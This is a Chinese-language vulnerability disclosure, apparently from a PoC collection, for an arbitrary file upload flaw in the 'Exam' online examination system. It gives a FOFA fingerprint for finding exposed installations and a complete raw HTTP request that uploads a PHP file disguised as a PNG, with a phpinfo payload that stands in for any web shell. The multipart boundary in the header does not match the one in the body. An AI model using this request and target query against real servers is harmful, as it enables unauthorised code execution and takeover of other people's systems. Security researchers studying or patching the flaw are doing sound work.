Exam在线考试系统存在前台任意文件上传漏洞

漏洞描述

文件上传漏洞发生在应用程序允许用户上传文件的功能中，如果上传功能未能正确地验证和限制上传文件的类型和内容，攻击者可能利用此漏洞上传恶意文件，如包含可执行代码的脚本文件，从而在服务器上执行任意命令，控制或破坏系统。

PoC代码

## Exam在线考试系统存在前台任意文件上传漏洞



Exam在线考试系统是一种现代地，全新的考试模型。它使用户可根据自身特点快速构建考试、测评、练习、竞赛、调查、分析及管理于一体的网络化考试平台，可轻松完成全员考试，问卷调查以及知识竞赛等工作，uploadFile接口存在任意文件上传漏洞，导致获取服务器权限。



## fofa



```

"app/core/styles/js/jquery.min.js"

```



## poc



```yaml

POST /index.php?document-api-fineuploader HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7

Cache-Control: max-age=0

Connection: keep-alive

Content-Length: 198

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygfd0H3RWDeNNLaPy

Host: 127.0.0.1

Origin: http://127.0.0.1

Referer: http://127.0.0.1/index.php?document-api-fineuploader

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36

sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

sec-fetch-user: ?1



------WebKitFormBoundarye776qKJKlcGtVlH5

Content-Disposition: form-data; name="qqfile"; filename="1.php"

Content-Type: image/png



<?php phpinfo();?>

------WebKitFormBoundarye776qKJKlcGtVlH5--

```



![image-20240708111744898](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407081117994.png)



## 漏洞来源



- https://mp.weixin.qq.com/s/KXcBpZ5rcdnHLey--NXQfg